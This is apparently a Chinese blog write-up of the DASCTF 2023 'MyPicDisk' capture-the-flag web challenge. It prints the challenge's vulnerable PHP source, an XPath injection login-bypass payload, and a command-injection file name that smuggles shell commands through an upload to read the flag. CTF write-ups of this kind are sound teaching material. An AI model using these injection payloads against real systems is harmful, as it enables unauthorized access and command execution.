[DASCTF 2023 & 0X401七月暑期挑战赛] MyPicDisk

过程

开启容器,发现以下表单,表单信息通过post方法传送

通过xpath万能注入

1
username=admin'&password=']|//*|//*['&submit=%E7%99%BB%E5%BD%95

注入成功,burp观察返回包发现注释信息获得提示下载源码/y0u_cant_find_1t.zip

得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
<?php
session_start();
error_reporting(0);
class FILE
{
public $filename;
public $lasttime;
public $size;
public function __construct($filename)
{
if (preg_match("/\//i", $filename)) {
throw new Error("hacker!");
}
$num = substr_count($filename, ".");
if ($num != 1) {
throw new Error("hacker!");
}
if (!is_file($filename)) {
throw new Error("???");
}
$this->filename = $filename;
$this->size = filesize($filename);
$this->lasttime = filemtime($filename);
}
public function remove()
{
unlink($this->filename);
}
public function show()
{
echo "Filename: " . $this->filename . " Last Modified Time: " . $this->lasttime . " Filesize: " . $this->size . "<br>";
}
public function __destruct()
{
system("ls -all " . $this->filename);
}
}
?>
<!DOCTYPE html>
<html>

<head>
<meta charset="UTF-8">
<title>MyPicDisk</title>
</head>

<body>
<?php
if (!isset($_SESSION['user'])) {
echo '
<form method="POST">
username:<input type="text" name="username"></p>
password:<input type="password" name="password"></p>
<input type="submit" value="登录" name="submit"></p>
</form>
';
$xml = simplexml_load_file('/tmp/secret.xml');
if ($_POST['submit']) {
$username = $_POST['username'];
$password = md5($_POST['password']);
$x_query = "/accounts/user[username='{$username}' and password='{$password}']";
$result = $xml->xpath($x_query);
if (count($result) == 0) {
echo '登录失败';
} else {
$_SESSION['user'] = $username;
echo "<script>alert('登录成功!');location.href='/index.php';</script>";
}
}
} else {
if ($_SESSION['user'] !== 'admin') {
echo "<script>alert('you are not admin!!!!!');</script>";
unset($_SESSION['user']);
echo "<script>location.href='/index.php';</script>";
}
echo "<!-- /y0u_cant_find_1t.zip -->";
if (!$_GET['file']) {
foreach (scandir(".") as $filename) {
if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
}
}
echo '
<form action="index.php" method="post" enctype="multipart/form-data">
选择图片:<input type="file" name="file" id="">
<input type="submit" value="上传"></form>
';
if ($_FILES['file']) {
$filename = $_FILES['file']['name'];
if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
die("hacker!");
}
if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {
echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";
} else {
die('failed');
}
}
} else {
$filename = $_GET['file'];
if ($_GET['todo'] === "md5") {
echo md5_file($filename);
} else {
$file = new FILE($filename);
if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
echo "<img src='../" . $filename . "'><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
} else if ($_GET['todo'] === "remove") {
$file->remove();
echo "<script>alert('图片已删除!');location.href='/index.php';</script>";
} else if ($_GET['todo'] === "show") {
$file->show();
}
}
}
}
?>
</body>

</html>

分析源码,发现有文件上传白名单(jpg|jpeg|gif|png|bmp后缀名)

继续分析,发现class FILE的system("ls -all " . $this->filename);处存在命令拼接

但是有条件,必须保证文件名有且只有一个.,并且不能含有\/

接下来想方法绕过

首先上传文件1111.jpg,文件内容为ls /用来查看根目录flag文件名

接下来上传名为;`cat 111*`;1.jpg的文件再进行?filename=;`cat 111*`;1.jpg&todo=show,发现成功执行了命令,返回得到flag路径adjaskdhnask_flag_is_here_dakjdnmsakjnfksd

最后更换文件内容为cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd,再次执行命令得到flag

原理

xpath注入

题目中xpath查询语句拼接后为

1
/accounts/user[username='admin'' and password='']|//*|//*['']

其实后面不重要,因为admin的引号已经将查询语句闭合了

相当于

1
/accounts/user[username='admin']

于是相当于查询是否有admin账户,得到结果

rce

;可以分隔一串命令

`Linux中反引号的作用是在将反引号内的命令处理完毕之后,会将返回的信息传给反引号的位置,再次执行命令

后记

看了网上好多wp,发现我的做法貌似是非预期

预期解是md5_file函数结合phar打的

太菜了太菜了,别的题目为什么不写wp,因为都不会。。。。。


[DASCTF 2023 & 0X401七月暑期挑战赛] MyPicDisk
https://blog.lazyforever.top/2023/07/27/2023dasctf_MyPicDisk/
作者
lazy_forever
发布于
2023年7月27日
许可协议